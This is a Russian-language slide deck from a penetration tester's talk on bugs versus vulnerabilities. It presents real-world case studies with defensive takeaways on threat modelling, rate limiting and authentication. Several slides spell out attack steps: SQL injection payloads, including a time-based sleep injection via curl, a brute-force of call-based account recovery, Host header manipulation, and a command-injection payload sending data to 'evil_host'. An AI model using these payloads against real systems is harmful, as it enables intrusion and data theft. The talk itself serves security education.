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О себе

Деятельность:
Пентестер (OSCP, WAPT, eWAPTx, CEH);
Спикер (PHDays, ZeroNight, OFFZone, RuCTF, и другие);
+6 лет опыта работы в AppSec;
Имею научные публикации и CVE.

Площадки:
Администратор форума и участник CTF - команды Codeby (победители 
PHDays Standoff 2020, финалситы 2021);
Форум Antichat (SooLFaa).



Баг vs Уязвимость

Критерии уязвимости:
• целостность;
• доступность;
• конфиденциальность.

Дополнительные критерии:
• репутация;
• мотивация;
• степень влияния.
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Баг vs Уязвимость

• Приоритезация проектов по критичности.
• Разработка методики оценки рисков.
• Разработка моделей угроз: 

• Классификация операций;
• Оценка критичности данных;
• Оценка стоимости атаки/ущерба.

• Обучение заинтересованных лиц.
• Создание релизной политики и проверка в критичных приложениях 

минимальном чек-листом (например, STRIDE).
• Детализация.
• Масштабирование.
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Как это не работает?

Идея





1. Голосовой помощник 
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1. Голосовой помощник 

You have an error in your 
SQL syntax; check the 
manual that corresponds to 
your…..



Выводы

Проблема: Недооценен пользовательский ввод.

Методика: 
Более полная проработка модели угроз.
Выявление всех входных точек пользователя в приложение.
Анализ внутреннего интерфейса API.
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2. Промокоды

Алгоритм: 
• Применяем промокод: Промокод недоступен;
• Ждем 15-20 минут;
• Применяем промокод снова: Промокод доступен.
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Алгоритм восстановления:
• В форме необходимо ввести номер телефона и код с картинки.
• После корректного ввода даты рождения, на ваш номер в течение 1-2х 

минут поступит звонок с неизвестного номера.
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4. Восстановление доступа через звонок

Горизонтальный брутфорс:
1)Вводим номер телефона.
2)Инициируем один раз звонок – запоминаем последние 6 цифр.
3)Отправляем пост запрос с этими цифрами.
4)Так как номера телефонов ограничены, повторяем шаги 1-3 до тех пор 

пока не встретим тот же номер.



Выводы

Проблемы:
Отсутствие rate-limit – при горизонтальном брутфорсе.
Слабая Каптча.
Простой способ восстановления.

Методика: 
Анализ и проработка всех механизмом защиты авторизации.
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Алгоритм:
• Отправить с другого аккаунта себе письмо с названием «Награды за 

вход».
• В теле сообщения прописать нагрузку «’ or 1=1 -- -».
• Перейти в функционал выдачи призов и увидеть исполнение нагрузки.
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Термины:
Торговля с плечом – покупка ценных на заемные средства у брокера.
Маржин колл – ситуация, когда депозит инвестора меньше маржи. В 
этом случае брокер автоматический закрывает все сделки. 

Алгоритм: 
Выставляется заявка на покупку одной бумаги и ещё N бумаг с плечом.
Продаем одну акцию. До конца торгового дня система позволяла 
докупить еще акций с плечом.
После закрытия торгов снимаются только N акций купленных по марже 
но остается N+1.

Примечания:
Средства нельзя вывести без контроля брокера.
При покупке большого количества акций с плечом можно как сильно 
выиграть так и проиграть. 
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Алгоритм:
Ищем адрес публичного балансировщика.
Изменяем заголовок Host (например, test.example.com).

curl –H “Host: test.example.com” https://lb-example.com
Посылаем запрос на тот же балансировщик.
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Алгоритм:
• Хактачок зарепортил багу на h1.
• В ходе общения внутри тикета аналитик скинул скриншот на котором 

была виден его SessionId в Coockies.
• Хактачок подставил себе SessionId и попал в админку платформы. 
• Подробнее - https://www.securitylab.ru/news/503120.php.
• + 20 000$.
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11. Ошибка первой линии

https://myb.s7.ru/manage-
order?bookingId=42***********70&passengerI
d=Morozova
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14. Обратная совместимость

curl --request GET 

--url 'https://api.<hide>.com/v3/campaigns?limit=%27&offset=0’ 

--header 'X-API-KEY: <API_KEY>'

{"error":"1 error(s) found. Check 'fields' array for

details.","fields":{"0":["'limit' expected type 'int', got 'string'"]}}



14. Обратная совместимость
curl --request GET 

--url 'https://api.<hide>.com/v2/campaigns?limit=(select sleep(10)) 

&offset=0’ 

--header 'X-API-KEY: <API_KEY>'

{"success":true,"statusCode":200,"data":{"campaigns":null,"limit":50,"more

Available":false,"page":1}}



15. Открытые корпоративные сервисы
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Алгоритм:
• Открытый git-lab с регистрацией.
• Секреты хранятся в явном виде в git-lab.
• Пароли подошли к облаку в Google с персональными данными 

пользователей.
• Выполнение RCE через процесс CI/CD. 



16. Хекаете? Тогда мы идем к вам.
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Runtime matcher = Runtime.getRuntime(); 
try { 

matcher.exec(new String[]{"cmd.exe","/c `set URL=” + url+”’”,"start“
}); } 
catch (IOException e) {} }

Payload: http://www.test.ru/?;<request to ‘http://evil_host/?payload=%set%’ >



16. Хекаете? Тогда мы идем к вам.



Контакты

Telegram: @SooLFaa
Email: hac126@ya.ru



СПАСИБО ЗА ВНИМАНИЕ!!!


